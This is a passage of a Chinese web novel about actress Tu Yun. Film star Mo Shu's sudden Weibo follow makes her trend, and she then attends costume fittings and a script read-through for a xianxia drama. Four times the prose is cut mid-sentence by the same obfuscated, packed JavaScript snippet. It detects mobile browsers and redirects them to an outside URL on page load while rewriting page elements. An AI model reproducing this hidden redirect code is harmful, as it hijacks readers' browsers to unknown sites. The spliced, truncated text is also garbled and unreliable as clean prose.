涂韵捂住眼睛，脑袋像被塞进滚筒洗衣机搅了整夜，钝疼钝疼的。她挣扎着坐起来，身体软软的使不上力气。 房间里一片混乱，空气里弥漫着酒气和火锅的油腻气息。 她推了推还躺在地上的苏小桃，“醒醒……桃子……” 哎呀，嗓子疼，说话的时候像喉咙被砂纸摩擦过一样。 昨晚的记忆只剩下些模糊的碎片，还停留在昨天大骂莫殊渣男，还删了他微信的那刻。 她昨晚真是酒壮人胆。就算莫殊再渣，给她十个胆子，也不敢随便删掉他啊，毕竟是拿了影帝的前辈。 涂韵拿起手机一看，“我天，怎么这么多未接电话。” 是公司的杜总！涂韵吓得酒都醒了几分。 这时地毯的另一边又震动了起来，是苏小桃的手机。 涂韵踉跄着挪过去，屏幕上跳动的名字让她愣了愣——又是杜总！ 杜总是他们星耀娱乐公司的大老板。 “快起来，苏小桃！杜总一直打电话过来，不知道到底是什么事。” “什么？杜总？”苏小桃听到杜总两个大字，眼睛马上都睁开了。 她从涂韵手里一把抢过手机，深吸一口气划开接听，刚“喂”了一声，那边的质问就劈头盖脸地砸过来：“苏小桃！你看看现在几点了？你不会还在睡觉吧？怎么连涂韵也联系不上了？” 苏小桃咳嗽了几声清了清嗓子，虽然嗓子还是和公鸭嗓一样难听，“杜总，涂韵和我在一块，我们在讨论那个《烬染霜华》的事，没注意到电话。怎么了，杜总？有什么急事吗？” 听见苏小桃和涂韵是在搞事业，杜总的语气这才缓和了一点，他问道：“你是一点都没看手机吗？涂韵上热搜了，你快让涂韵回关一下。” 热搜？什么热搜？ 苏小桃挂断电话后，连忙点开微博热搜榜，用眼睛扫描着寻找涂韵的名字。 涂韵凑过脑袋来看，”什么热搜？难道是《烬染霜华》的事吗？“ 手机从手里滑落，跌到了地毯上，苏小桃哀嚎着，“救命啊，怎么热搜话题是莫殊关注了你啊？” 涂韵：？？？ 莫殊的微博很少发东西，营业或者剧宣都是用的”莫殊工作室“的号。 他的微博常年关注数都是个零蛋，没想到突然关注了个”涂韵“。 关注数从0变成了1，立马就被眼尖的粉丝给看见了。 幸好上的不是总榜前排。 #莫殊微博关注不再是0，该话题为文娱榜第13名，总榜第8名。 #莫殊关注了涂韵，该话题为文娱榜第19名，总榜第11名。 涂韵酒彻底被吓醒了，她连忙掏出手机，刷热搜下面的评论。 …… 【莫殊的小娇妻：绝对是ty买的热搜，就是为了捆绑大影帝，给自己抬咖的。】 【你最特殊：大家不要再讨论了，不要再给热度了。】 【微博用户0130：那是莫殊自己关注涂韵的。】 【莫殊反黑站：上面的路人不要打全名给某个人热度，行不行？？】 【韵的小跟班：是因为涂韵和莫老师一起录制了综艺，所以才关注的吧~欢迎大家来看我们涂韵的第一部综艺哦！[寻味记路透图.jpg]】 【妹妹说紫色很有韵味：两个人都很好哦，关注不是很正常的事吗？怎么还会上热搜呀？[涂韵宣传图.jpg]】 【……】 光看下面的各种评论，就能看出这热搜热度还挺高的，下面的评论什么粉籍的都有。 而且因为涂韵登了微博，提示在线，已经有路人在下面好奇地问为什么涂韵还没有回关莫殊，难道有什么他们都不知道的交集。 苏小桃戳了戳还在刷手机的涂韵，“杜总发微信来问了，让你快回关然后处理一下。” 涂韵点开莫殊的微博界面，空空如也，最近的一条微博还是莫殊在一年半以前发的一张自拍照。 这张自拍照是莫殊为数不多的自拍照，早就在涂韵的手机里被盘得包浆了。 是的，涂韵早就用微博小号关注了莫殊了。 但她是真的没想明白，莫殊一个万年不发微博不登微博的人怎么突然就关注她了？昨天晚上还神神叨叨的。 莫殊是渣男还是真的对她有意思啊？ 可是要是对她有意思的话，又为什么要在那个晚上和她说那些？ 涂韵手指一点，微博页面上提示两人已互相关注。 他们录的这期寻味记，在这周五会播出来。宣传海报图片都要提前一周发，所以微博上也已经有了图片了，她当时就保存好了。 涂韵从自己的相册已删除照片中，把寻味记的宣传图片扒拉了出来。嗯……昨天晚上喝醉了，她把手机里所有和莫殊的合照都删了，也不能算合照吧，顶多就是综艺宣传海报和那天颁奖礼，莫殊帮他颁奖时的官方照片。 哦，如果说颁奖完以后的全场大合照也算作他跟莫殊的合照的话。 至于手机里保存的各种莫殊单人照片，她……没舍得删。 而这张寻味记宣传图片上，李子珺和沈晨站在左边，导演组用的是他们一起包馄饨的画面。 而她和莫殊，则在靠右的位置，用的……是莫殊帮她扎头发的画面。 他们在快闪市集的那天的路透，已经在全网传了很多了。 其中扎头发的这段视频，更是全网满天飞。 本来涂韵想着等周五播出来的时候，她再发个微博宣传的，没想到莫殊突然来这一出。 要知道莫殊可能只有电影上映的时候，他心情好会宣传一下，其他时候和退网了差不多。 莫非……他转性了，连综艺都开始宣传了？也没听说莫殊降咖了啊？ 【涂韵今天也要加油鸭V：#寻味记真的是超级开心的两天！放上一张和莫老师的合照。欢迎大家周五一起来云吃我们的绿豆糕和红豆沙！ 珺姐和沈晨的馄饨和生煎包，也是狠狠地馋到我啦！】 涂韵发了条微博，就这样将莫殊关注她的事转变成了综艺宣传。 这条微博的最后，她还艾特了莫殊，李子珺和沈晨三个人。 估计珺姐也是在线吃瓜，没过多久就回复了微博。她在微博评论里放上了煎的底脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490343|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脆的生煎包。 最没想到的是……莫殊竟然过了几分钟就出现在了涂韵的微博下面评论。 【莫殊：下次我们能不能有一个自拍的合照？】 刚评论没多久，这条评论的楼中楼都已经盖了快有100层了。 涂韵咬牙切齿地回复道：【好呀，下次和莫老师见面时，一定要自拍一个。】 至于下次是什么时候就说不定了，毕竟她连微信都给删了。 “莫殊这到底是怎么回事？这跟他平时说话完全不一样啊？不会被盗号了吧？”涂韵将手机递给旁边的苏小桃，“苏大经纪人，你看我这回复的行吗？” 结果苏小桃没有接，而是盯着自己的手机又是爆发出一阵尖叫。 涂韵：“又怎么了啊？” “涂韵你又上热搜了！这次是《烬染霜华》官宣了演员阵容。估计大家都在在线吃瓜，剧组便趁着这次热度干脆直接发了。”苏小桃的手指就没有停过，一直在手机屏幕上敲敲打打，偶尔还发条语音，听起来好像是在联系公司宣传团队，让她们跟上宣传的步伐。 涂韵满头问号。 自从上次她拿了最佳新人奖之后，便也没有再进过组，上次拿热搜还是她拿奖的时候。 今天怎么回事儿？热搜都凑一块了。 《烬染霜华》这部仙侠剧的大基调是人，仙，妖三界之间的爱恨情仇。 涂韵定的女二叫做璃月，是九尾妖族的公主，代表的是妖界。 而男主则代表着仙界，是昆仑仙宗大弟子，女主则是人界药王谷的小师妹。 涂韵问道：“对呀，这部剧定的男女主是谁啊？我知道之前好像也很多人去试戏，也接触了不少人。” 苏小桃头也没抬地回道：“男主定的是魏肖，女主是林婉婉。” 魏肖演过很多部电视剧，且多是仙侠古风，算是男主专业户了。 而林婉婉比涂韵早一年出道，但资源比涂韵要好得多，拍的多是偶像剧，且都是女主，目前也经常被算在人气小花一列。 苏小桃对这演员阵容颇为满意，“不错不错，这部剧一看就有爆的迹象。涂小韵，你就等着飞升吧。” * 莫殊盯着热搜榜上涂韵的名字发着呆，涂韵刚官宣了一个电视剧，快要进组了吧。 一部电视剧怎么地也得拍好几个月吧，等下次再见她，又不知道是什么时候了。 莫殊想到陈霖之前说过，要追女孩儿就得多跟她相处，不仅是每天聊天嘘寒问暖，平时也要多找机会线下见面。 那线下见面的最好机会不就是一起工作吗？ 尤其涂韵现在接的这部戏还是仙侠偶像剧，男帅女美的，莫殊突然有了一丝危机感。 莫殊翻了个身，发了条微信给陈霖：“你说我去演电视剧怎么样？” 要是……和涂韵接到一部戏就好了。 按道理电影咖大于电视剧咖，人家都是拍电视剧的想努力拍上电影。 怎么轮到莫殊，刚拿了影帝没多久，就想着去拍电视剧呢？ 但陈霖也没敢说这些，他回道：“行吧，哥，你要真想拍的话……我到时帮你留意下有没有好剧本。” 12. 第12章 定妆照 涂韵在家里就休息了几天，周四一大早就坐飞机去了横店。 虽然剧是下下周开拍，但他们演员得提前进组，需要进行剧本围读，试妆，定妆。 最重要的事还是要熟悉彼此，她和两位主演都是第一次合作。 因着魏肖和林婉婉一个扮演仙，一个扮演人，所以妆容造型什么的比较地简单，再加上可能还有其他的行程安排，所以他们得下周才能到横店。 而涂韵扮演的小狐妖，还需要定妖的造型，比较麻烦。 她到横店的前两天就直接被造型组拉去试妆了。 涂韵坐在化妆桌前，化妆师正用镊子夹着细小的亮片，往她耳后的那片仿真狐毛里嵌，灯光下耳朵闪闪的，像是泛出来的毛茸茸的光晕。 涂韵伸手摸了摸耳朵后面的绒毛，毛茸茸的又根根分明，摸起来手感很好。 化妆师笑着说道：“给你的造型设计可是花了大功夫的，你别看你耳朵后面就这一小片毛，这都是我们手工粘成的。” 而涂韵坐着的时候也只是坐着半边屁股，因为她的身后还有一搓毛茸茸的狐狸尾巴。 造型助理正在帮她整理着尾巴毛，尾尖那撮最蓬松的绒毛里还缝了微型LED灯珠，这样拍戏的时候，光打下来，就会泛起淡淡的微光，特别的好看。 见化妆师已经化好妆了，造型助理也小心翼翼地扶着涂韵站起，“涂老师，这尾巴里是用钢骨支架固定的，可能会有点重，你走路的时候要小心点。” 涂韵笑道：“没事，这点重量还是承受得了的。我还第一次拍仙侠剧呢，你们道具组和造型组是可真厉害，弄得栩栩如生的。” 在摄影师的指导下，涂韵慢慢走到了拍定妆照的点位。她走动的时候，尾巴就会轻轻晃动，蓬松的长毛扫过裙角的流苏，发出细碎的沙沙声，倒真像一只小狐狸。 随着摄影棚的遮光布被骤然拉开，暖黄的主光瞬间泼洒在涂韵身上。 “涂韵老师，尾巴再放松些，自然垂在身侧就好。”造型指导轻声提醒。 涂韵微微调整站姿，身后那雪白的狐尾便顺着腿侧轻轻滑落，身上的绯红纱裙层层叠叠，裙摆绣着暗金色的纹路。 因为现在试的是幻化成妖的造型，所以她的妆容以红色为主，眼尾泛红，点缀着一颗泪痣。唇色是浆果色，更偏魅惑。 摄影师举着相机凑近：“看镜头，涂韵老师，想象一下——你现在就是九尾妖族最疼爱的小公主。” 涂韵闻言，眼波轻轻流转，眼睛顿时亮了起来。她身体微微前倾，歪头，抬手用指尖去蹭狐耳，手腕上的红绳挂着的铃铛轻轻的响起来。随着她的触碰，那对绒毛蓬松的狐耳轻轻地颤了颤。 被风机吹起的花瓣道具，落在她的发间、肩头，还有那条雪白的狐尾上。 涂韵脸上的笑容俏皮又天真，真的像不谙世事的小狐狸。 快门声接连响起。 “换个情绪！来张凶一点的！”摄影师喊道。 涂韵指尖的动作骤然停下，笑意从唇角敛去。 她站直身体，眼神冷冽如霜，露出纤细的脖颈，狐耳向后抿起，呈警惕的姿态。 随着她表情的变化，本来眼角的红是化妆师涂来凸显小狐狸脆弱的，现在却好像黑化妆了一样。 涂韵定定地抬眼望向镜头，眼神半眯，带着捕猎者锁定目标的专注，又藏着几分漫不经心的慵懒，仿佛镜头后的摄影师早已成了她眼中的“猎物”。 “就是这个感觉！”摄影师的声音里满是兴奋，“保持住，涂老师！嘴角再带点不屑的笑！” 快门声响起，没想到这个狐妖的造型这么适配涂韵，属于直接就把定妆照拍好了。 因着涂韵饰演的狐妖有两种状态，一种是保留狐耳和狐狸尾巴的妖的状态，一种则是完全蜕变成人时的状态。所以摄影师一说拍好了，造型助理就踩着小碎步过来，准备带涂韵回到化妆区。 没想到，突然响起了鼓掌声。 涂韵抬头望去，眼前的男人骨相优越，又皮相精致，哪怕只穿着一件简单的白衬衫，也能在人群里一眼就能捕捉到他。 涂韵惊讶地喊了声，“魏肖？魏老师？” 她也是看过不少魏肖的古装剧，魏肖穿起古装便是白衣胜雪的世家公子，执剑时则又变成了少年将军，演什么像什么。 今天一见面，才发现魏肖比戏里面还要好看。 而魏肖也愣了一下，刚刚涂韵抬眼看她的时候，眼睛亮晶晶的，耳尖的绒毛被侧风吹得微微晃动，再加上摄影棚布景时不可避免的粉尘，倒真的像调皮的小狐狸现世了一样。 而周围的工作人员也纷纷朝着魏肖打招呼，魏肖才反应过来。 他往前一步，笑着对涂韵说，“我刚刚在一旁看了你拍的定妆照，很适合你。你的动作和表情也很有狐狸的特性，一看就是有下功夫的。” “那是，我这几天可是每天看狐狸视频呢。”见魏肖这么好说话，涂韵本来还有些紧张，现在也放松了下来，“魏老师，你不是下周一才来吗？怎么提前来啦？” “魏老师，你要不然先回酒店休息一会吧，我还有一个造型得试。” 魏肖笑着坐到摄影师的后面，“我有个行程临时取消了，我就提前两天过来了。没事，你试吧，等你试完我就直接试了，我也懒得跑了。” 涂韵：“好！” 涂韵换好新的衣服和妆容出来，立马就进入了工作状态。 即使拍的只是照片，但每一个动作和表情都有着精准的情绪表达。 魏肖在一旁看得咂舌，涂韵这是第一次拍仙侠剧吧？而且她好像只演过两部戏，还不是科班出身，竟然这么有天赋。他不禁提起了些兴趣。 * 星期四星期五，涂韵一到横店，就忙着定妆试妆。 星期六，魏肖定妆，涂韵则去熟悉怎么吊威亚，她在仙侠剧这块还算是新人。 结果周六，她从威亚下下来后，就发现手机一直提示消息。 她发现是她以前用的□□小号加的追星□□ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490344|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群一直在艾特全员。 她刚去英国留学的时候，因为喜欢上了莫殊，便特意注册了个□□，加了很多同担。 那时候莫殊才刚拍了一部电影，粉丝还不是很多。涂韵可以算得上元老粉丝级别了，每天忙活着建群联系粉丝组织应援。 后来她回国之后，就把□□群主给转让了，每天上演技课拍戏写小说忙得不可开交，也就很少点开这个群聊天了。 她点开q群，从头划到尾。 发现昨天《寻味记》播出的时候，群里面已经热闹过一波了，说是这期收视率是最高的一期。 看见熟悉的群友们还提到了自己的名字，涂韵不好意思地缩了缩手指，才继续往下划去。 群主艾特全员后，便扔出了一条微博链接，“这是莫殊拍完《时尚巴拉拉》杂志封面后的采访，里面有大瓜！莫殊第一次提到自己的感情问题！” 群里面一直在刷屏，讨论着这件事。 《时尚巴拉拉》？这是莫殊半个月前的杂志封面，涂韵也买了一本。看到莫殊的脸印刷在纸上的冲击感，是在电子屏幕上无法比拟的。专业摄像师的硬照狠狠地放大了莫殊的帅气和表现力。 涂韵手指一动，点开了链接里的采访视频。 莫殊穿着拍摄封面时的黑西装，坐在沙发上，接受访问。 前面的问题都还算常规，聊聊生活聊聊拍戏，虽然莫殊的回答都比较简短，但也能让人感受到他的言之有物。 视频大概在五分多钟的时候，问了一个问题，“莫老师的青春中有什么遗憾？” 莫殊十指交叉放在膝上，他微微低下头思考了一会，然后说道：“其实有很多遗憾，但是我觉得我已经在那个时候用尽所有的力气做到最好了，所以我并不会觉得可惜。但是唯有一点遗憾。” 莫殊停顿了一下，接着说道：“我喜欢的女孩，我在那个时候却没有勇气和她说话。” 对面的主持人也有些惊讶，似乎没有想到莫殊会提到这点。 莫殊自嘲地笑了笑，低下头，“所以我不想再让这成为遗憾了。” 主持人：“莫老师……这是什么意思？你青春的时候喜欢的那个女孩，又出现了吗？” 莫殊点了点头。 涂韵震惊地点击了一下屏幕，暂停页面停在了莫殊放大的笑容上。 看这采访时间，好像就是拍完寻味记没几天的时候。 涂韵的心里莫名地有些酸溜溜的。他喜欢的那个人到底是谁啊？ 值得让他拒绝她的心意？值得让他将隐晦的爱意直接公之于众吗？ 虽然莫殊是实力派，可是女友粉也不少。莫殊这是打算不过了吗？ 光是这一个小群里都炸开了锅，更不用说他那么大的粉丝群体了。 涂韵急急慌慌地点开微博，果然……#莫殊首谈年少爱情的词条挂在热搜榜上。 涂韵叹了口气，尽管嘴上说着不要再喜欢莫殊了，可是身体还是很诚实地切换了微博小号，开始为莫殊反黑起来。 13. 第13章 催更了 星期天，男主和女二的定妆照也已经拍好。配角什么的也陆续到了横店。 导演说林婉婉大概周二会到，让魏肖先领着涂韵在横店先随便逛逛。 两个人本来对手戏就不少，这两天，两个人可以先熟悉起来。 即使是下午，但横店影视城仍然像被晒得发软的宣纸，连空气里都飘着淡淡的樟木味——每个剧组都要搭道具搭场景留下的味道，不难闻但也不好闻。 魏肖走在石板路上，侧头看了眼跟在身后的涂韵。 涂韵正踮脚望着街角那座仿唐建筑的飞檐，眼神满是惊叹。 “之前有来过横店吗？”他放慢脚步，和涂韵并肩走着，并且贴心地走在外侧，将建筑的阴影留了出来。 涂韵赶紧收回目光，“嗯，之前两部剧都是现代剧，对横店确实不太熟悉。” “那些都是群演吗？”涂韵突然说道。 魏肖顺着她的目光看去，远处正有个剧组在拍戏。有人穿着粗布麻衣正蹲在墙角处啃着馒头，还不忘说着台词。 而穿着现代衣服的工作人员则围成一圈，时空仿佛交织在了一起。 涂韵突然笑出了声，见魏肖转头疑惑地看她，才忍住笑解释道：“我突然想起来，以前看的穿越小说里，女主穿到古代，醒来的第一句话都会问，这是在拍戏吗？” 魏肖愣了一下，然后心领神会地勾起嘴角。他往那剧组拍戏的地方一指：“这边是明清宫苑区，往前走是民国街，再拐个弯能看到秦汉城墙。” 魏肖边走边说，“前面有道具仓库，我带你去看看？很多道具其实都是剧组共用的，所以你有时候就能看到一些什么戏服啊，道具啊，这部剧里刚用过，下一部剧里又会出现。” “我还真是第一次知道。”涂韵走在魏肖的身边，不自觉地问道，“魏老师在横店拍了多久的戏啊？” “前前后后在这儿拍戏得有五年吧。”魏肖答道，“对每个角落都熟得像自家后院，我都快住吐了。” 他忽然看向她，“我觉得你悟性不错，你可以多逛逛实景，对角色代入有好处。 从仓库出来后，魏肖掏钱买了两个梅干菜烧饼，还特意选了个边缘烤的焦脆脆的，递给涂韵，“这家烧饼在这卖很久了。好吃的，剧组很多人都爱吃。” 涂韵咬了一口，芝麻混着梅干菜的香气在嘴里散开，又香又脆。 魏肖看着涂韵站在原地慢慢吃饼，侧脸在夕阳下镀上了一层柔和的光辉。小巧的脸胶原蛋白充足，嚼饼的时候腮帮子一鼓一鼓的，像屯粮的小仓鼠，和定妆时扮演狐妖时妖媚的模样完全不同。 想到小仓鼠，魏肖忍不住笑了一下。 涂韵掸了掸嘴角的芝麻，有些不好意思，“魏老师是在笑我吗？” 魏肖本来想说“笑你可爱”，但话到嘴边，变成了“没事，突然想到剧本里的一段情节了。” “嗯……对了，林婉婉到时到了之后，就得开始剧本围读了，你备点金嗓子。” 没有多余的夸赞，更像前辈对后辈的随口关心。 涂韵心里却松了口气，把剩下的烧饼塞进嘴里，含糊地说：“谢谢魏老师。” * 马上要拍戏了，要控制饮食了。 涂韵今天炫了个大烧饼，晚上只能把自己关在酒店里吃点水煮青菜。 这手啊，不自觉地就点进了绿江江小说APP里面。 尽管说着不再开新文了，也不想再喜欢莫殊了，可是涂韵就想看看完结了的旧文反映怎么样了。虽然她没签约，但好像说小说完结之后，还是可以上什么完结榜的。 哎，一生被数据裹挟的中国人啊。 “OMG！天啊！”涂韵盯着手机，惊呼了一声。手停在了半空，筷子里夹着的青菜都不自觉地掉到了桌子上。 “咚——咚——咚”，外面传来焦急的敲门的声音，“韵姐？怎么了？” 是小刘，她的执行经纪人，估计听到了她的惊呼声，以为出什么事了。 一般来说，艺人进组拍戏不需要带经纪人。因为剧组会找团队直接负责协调艺人的日程、餐饮、住宿、交通等各方面的事务[1]。 所以涂韵一般进组的时候，都是带着小刘的。苏小桃作为经纪人，在外面还有其他事忙着呢，什么商务、宣传的。 涂韵把门拉开条缝，探出个脑袋，“没事，小刘。我刚刚在看电影呢。” 小刘：“真没事？” “真没事。” 小刘见涂韵面色红润，也不像有事的样子，便嘱咐了句有事记得打电话找她，就离开了。 小刘走后，涂韵马上又拿出手机，揉了揉眼睛确保自己不是看花了眼。 哪怕能上什么完结榜单，她的小说也不可能短短一星期就从一百出头的收藏量蹦到了四位数吧？ 涂韵刷了刷评论，才弄明白，原来是《寻味记》这期节目播出了，大家看到涂韵和莫殊的互动画面大呼好磕好磕，忙着找组织了。 但因为之前磕涂韵和莫殊的人也比较少，产粮不多，涂韵写的这本小说倒变成了“粮”最丰盛的地方。有的人熬夜通宵把涂韵的这本小说给看完了，大喊着让涂韵快产粮。 果然冷门cp没饭吃啊，涂韵叹了口气。 她打算将之前写的“不开新文”的声明在评论区置顶，却发现她的那条评论下面已经盖了上百条的楼中楼。 【用户70123：慕名而来，连夜追完啦，kswl，球球作者大人你开新文吧。】 【干一大碗饭：我把所有的营养液都给大大啦。作者你为什么不写了啊？】 【看评论区会失去快乐：男貌女貌的真的howpay！我真的还想看他们两个的故事……哪怕是小说也行。】 【橙子333：呵，cpf突然不磕cp了，肯定是被提纯了呗。】 【永远热恋：这种没人磕的cp都有这么长情的cpf，能坚持更半年的小说，绝对是脂粉*啊。谁能从这个cp里收益，不用我多说了吧？】 【……】 涂韵都快气死了，她怎么可能被提纯啊？她就是涂韵自己好吧。 她是脂粉？哪家脂粉能这么敬业花半年时间写个几十万字啊？ 但看到还是有很多书迷和殊途同归的粉丝在支持她，涂韵气也消得七七八八了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆泽：“莫殊，我看到你前几天的采访了，你怎么突然提你暗恋那事了？你之前不是和我说，你喜欢的那个女生是个素人吗？不想说出来，打扰她吗？” 莫殊低下头轻笑了声，“陆泽哥，她现在不是素人了，我想追她。” 陆泽：“嗯？什么意思？也进圈了？” 之前在拍《小镇有信》时，为了调动莫殊的情绪，陆泽也和莫殊聊过，也是知道他有个喜欢了好几年的女孩子。他说，他知道自己配不上她，他甚至都还没有鼓起勇气去和这个女孩说过话，她就不见了。 陆泽还记得，当时莫殊坐在板凳上，埋着头，语气里满是遗憾。他看不见莫殊的表情，只能看见地上突然多了几滴水渍。莫殊……哭了。 没想到……竟然这么巧。 陆泽的脑海里闪过好几个女明星的名字，“谁啊？告诉哥听听。” “不说。等我追到她，再告诉你。” 14. 第14章 围读会 今天是导演约好了的剧本围读的日子。 涂韵推开围读室的门，里面吵吵闹闹的，热闹非凡。 午后的阳光斜斜地照进了围读室，漫过百叶窗，在地板上投下长短不一的光斑。 厅后的白板上已经被写写画画过了，上面还贴着手绘的人物关系图。 还有一些和特效相关的标注被红笔圈了起来，估计是第一轮剧组工作人员围读时做的符号，还没有擦。 二十几张折叠椅围着长桌摆成圈，周围坐满了演员和工作人员，谈笑声此起彼伏，时不时地响起纸页翻动的轻响和讨论要怎么拍的声音。 “大家好，我是扮演璃月的涂韵。我给大家买了咖啡。”涂韵站在门口，笑着和大家打了个招呼。 她和身后的小刘手里都提着好几个纸袋，里面装满了提前定好的咖啡。 剧本围读会一般都是副导演进行主持和旁白的朗读。 副导演张默正低着头翻看剧本，听见声音抬起头笑了笑，“涂韵，你来得正好，人也差不多齐了。大家都刚进组，互相认识下。” “好！这里美式、拿铁、冷的热的都有，大家随便拿。”涂韵将咖啡从纸袋里拿出来，放在桌上。几位工作人员模样的人，手里都拿着笔记本，目光温和地落在她身上。 “涂韵，这里！”涂韵顺着声音看去，发现是魏肖朝她挥了挥手。 涂韵笑了笑，拿了两杯咖啡，选了魏肖旁边的一个座位坐下，“魏老师，喝拿铁还是美式？” 魏肖：“你想喝哪个？把剩下的那杯给我就行。” 涂韵也不扭捏，直接将左手握着的一杯递了过去，“那就……给你拿铁吧，我喝冰美式。” 眼瞧着人手一杯咖啡喝起来了，副导演张默抬头看了看墙上的钟，皱了皱眉头，问旁边一个工作人员，“说好的时间马上就要到了，林婉婉怎么还没来？” “婉婉姐助理说……婉婉姐需要睡午觉，得推迟个一个小时才能过来。” 张默手指在桌上轻轻敲了敲，语气低沉了下去，“还睡午觉？那拍戏的时候是不是也得睡啊？” 那工作人员低着头不敢说话。 “不等了，”张默拍了拍手，打断了周围的喧闹，“各位安静一下，我们开始围读了。” 周围安静下来，大家都找了个位子坐下，不大的排练厅里坐的满满的。演员、导演、制片人、主创团队加起来也有二十多个了。工作人员走过来将打印好的完整剧本分发给大家。 涂韵从包里将笔记本和笔拿了出来，她摸了摸剧本扉页上的“璃月”两个字，嘴角不自觉地勾起。 真好，她又进组了。 在大家自我介绍和互相熟悉过后，便正式开始了围读。 围读也就是将整个剧本都过一遍，理解剧情，讨论台词和情节是否合理。 导演和编剧也会引导演员加深对人物和情节的理解，好更精准地诠释角色。 张默翻了下剧本，说道：“林婉婉得晚点到，先读魏肖和涂韵的对手戏吧。” “第三十八场，狐族禁地这里。” 听完，涂韵就赶紧将剧本翻到对应的页面，调整好自己的呼吸。 这段戏是男主和女二很重要的对手戏，这是男主凌霄尚未成为仙门翘楚时，为完成任务，结果误入了狐族禁地，被年幼的璃月所救。 两人在禁地中相处三月，凌霄教她仙门剑法，璃月为他疗伤解毒，约定“仙妖并非天生对立”。 见魏肖和涂韵都点头表示做好准备了，作为副导演的张默便朗读旁白。 饰演璃月的涂韵声音陡然变得清澈又茫然，“你……是谁？我怎么从来没有见过你？” 每当轮到她的部分，那种玩闹的神情就会立刻消失，取而代之的是专注的目光和精准的情绪表达。 饰演凌霄的魏肖接道：“我是谁，不重要。我还想问你，这到底是什么地方！” 说完，他转头对着坐在身边的张默问道：“张导，我这里是不是配合一个摸剑的动作，更合理一些？体现男主最开始的防备？” 张默点了点头，“这个细节可以。” 魏肖和涂韵两人都低下头，在剧本上做着笔记。 大家就这样读一段，讨论一段。排练厅里的台词声、讨论声，让那些冰冷的仙门法则、复杂的千年恩怨，都慢慢地活了过来。 涂韵已经完全进入了情绪，仿佛下一秒就要飞向那个光怪陆离的仙侠世界。每当轮到她的部分，她都一直格外地专注，精准地用情绪表达着。 读到璃月和凌霄两人因为误会从此结下血仇的那场戏的时候，涂韵的情绪格外地饱满，眼泪正要掉下来时，“吱呀——”一声排练厅的门被推开了。 大家都止住了话，看向门口。 门口站着的是一个头发微卷，染成暗红色，穿着酒红色吊带裙的女孩。她生得一副标准的美人骨相，眉骨高挺，鼻梁是利落的直弧，鼻尖微微上翘。再加上她画了个全妆，眼尾上扬，更加深了她偏锐利的长相。 是林婉婉。 林婉婉朝着张默的方向走了过来，细高跟踩在地板上，像敲鼓一样响亮。 “张导，怎么不等我就开始了？”她走到魏肖旁边，示意魏肖她想和张默一起坐。 魏肖把自己的椅子往旁边挪了挪，腾出个空，而坐在魏肖旁边的涂韵也得挪一挪。 就这样，大家都挪了一圈，腾出了位置之后，林婉婉的助理赶紧从厅后面抽了张空椅子过来，动作急切地似乎生怕大小姐生气。 林婉婉一屁股坐下后，突然开口说道：“对了，你们刚刚读的是哪场戏啊？我刚在门口听见了，台词都念不利索，读的什么东西啊？”说完，她还扫了一眼涂韵的方向，眼神带着毫不掩饰的轻蔑。 刚刚正是涂韵在读，她满脸问号正打算开口说话的时候，被旁边的魏肖扯了扯衣角。 魏肖转头朝着她，用口型说道：“别理她，你刚刚读的挺好的。” 涂韵深呼吸一口，也没说话，干脆低下头看剧本了，手里拿着荧光笔在剧本上写写画画做着记号。 林婉婉一进来，整个排练厅的气氛好像都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490346|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷了三度，最后还是张默开口说道：“婉婉啊，你昨天定妆的时候不还是黑头发吗，怎么今天一下子就变红色了？” 林婉婉伸手理了理自己的卷发，张默这才发现林婉婉还做了红色的美甲，水钻布灵布灵的。 林婉婉：“昨晚刚染的啊，好看吗？哎呀，反正都是要带头套的，没什么关系的啦。” 张默敲了敲桌面，“你这头发我就不管你了，但你这指甲，开拍的时候得给我卸掉。” 林婉婉拉着张默的衣袖，撒娇道：“哎呀，知道啦张导。我们快开始吧。” 被打断的围读重新开始了，只是林婉婉这人还特别喜欢提意见。没读个几句，就要插嘴说个自己的想法和理解。 只是……这理解，就连没拍过仙侠剧的涂韵都听出来了，没有什么道理。 中场休息的时候，涂韵放在桌上的手机屏幕突然亮了，她拿起一看。 屏幕上显示着是小刘给她发消息了。 涂韵转头看了眼坐在后面的小刘。 